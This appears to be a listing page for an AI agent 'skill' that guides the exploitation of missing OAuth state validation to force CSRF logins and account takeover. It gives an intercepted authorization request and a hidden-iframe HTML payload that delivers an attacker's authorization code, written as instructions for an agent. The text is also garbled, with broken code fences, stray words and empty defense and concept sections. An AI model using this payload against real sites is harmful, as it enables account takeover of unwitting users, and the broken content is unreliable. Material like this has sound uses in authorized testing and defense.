Oauth state parameter abuse

From ShulkwiSEC/bb-huge · View interactive version

Oauth state parameter abuse is an AI agent skill from the GitHub repository ShulkwiSEC/bb-huge. Identify and exploit logic flaws in OAuth implementations, focusing specifically on the absence or improper validation of the `state` parameter, which leads to Cross-Site Request Forgery (CSRF) and account takeover (ATO).

How to use this skill

Skill file

OAuth State Parameter Abuse

When to Use

Prerequisites

Workflow

Phase 1: Initiating the OAuth Flow

# Concept: The `state` parameter is ```

### Phase 2: Intercepting the Authorization Request

# beautifully GET /oauth/authorize?response_type=code&client_id=12345&redirect_uri=https%3A%2F%2Ftarget.com%2Fcallback&scope=email%20profile HTTP/1.1

Host: provider.com


### Phase 3: Capturing the Callback (The CSRF Payload)

https://target.com/callback?code=SPLIT_SECOND_CODE_FROM_ATTACKER


### Phase 4: Delivering the Payload (Exploitation)

<!-- >

<html>

<body>

<!-- >

<iframe src="https://target.com/callback?code=ATTACKER_UNPUBLISHED_CODE" style="display:none;"></iframe>

</body>

</html>


#### Decision Point 🔀

flowchart TD

A[Start OAuth ] --> B{State Parameter ]}

B -->|Missing/Static| C[Capture Callback ]

B -->|Verified| D[Check Logic ]

C --> E[Exploit CSRF ]


## 🔵 Blue Team Detection & Defense
- **Strict State Validation**: **PKCE (Proof Key for Code Exchange)**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format

Oauth State Parameter Abuse — Assessment Report

============================================================

Target: [Target identifier]

Assessor: [Operator name]

Date: [Assessment date]

Scope: [Authorized scope]

MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:

[Finding 1]: [Severity] — [Brief description]

[Finding 2]: [Severity] — [Brief description]

Detailed Results:

Phase 1: [Phase name]

Phase 2: [Phase name]

Risk Rating: [Critical/High/Medium/Low/Informational]

Recommendations:

1. [Immediate remediation step]

2. [Long-term hardening measure]

3. [Monitoring/detection improvement]

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.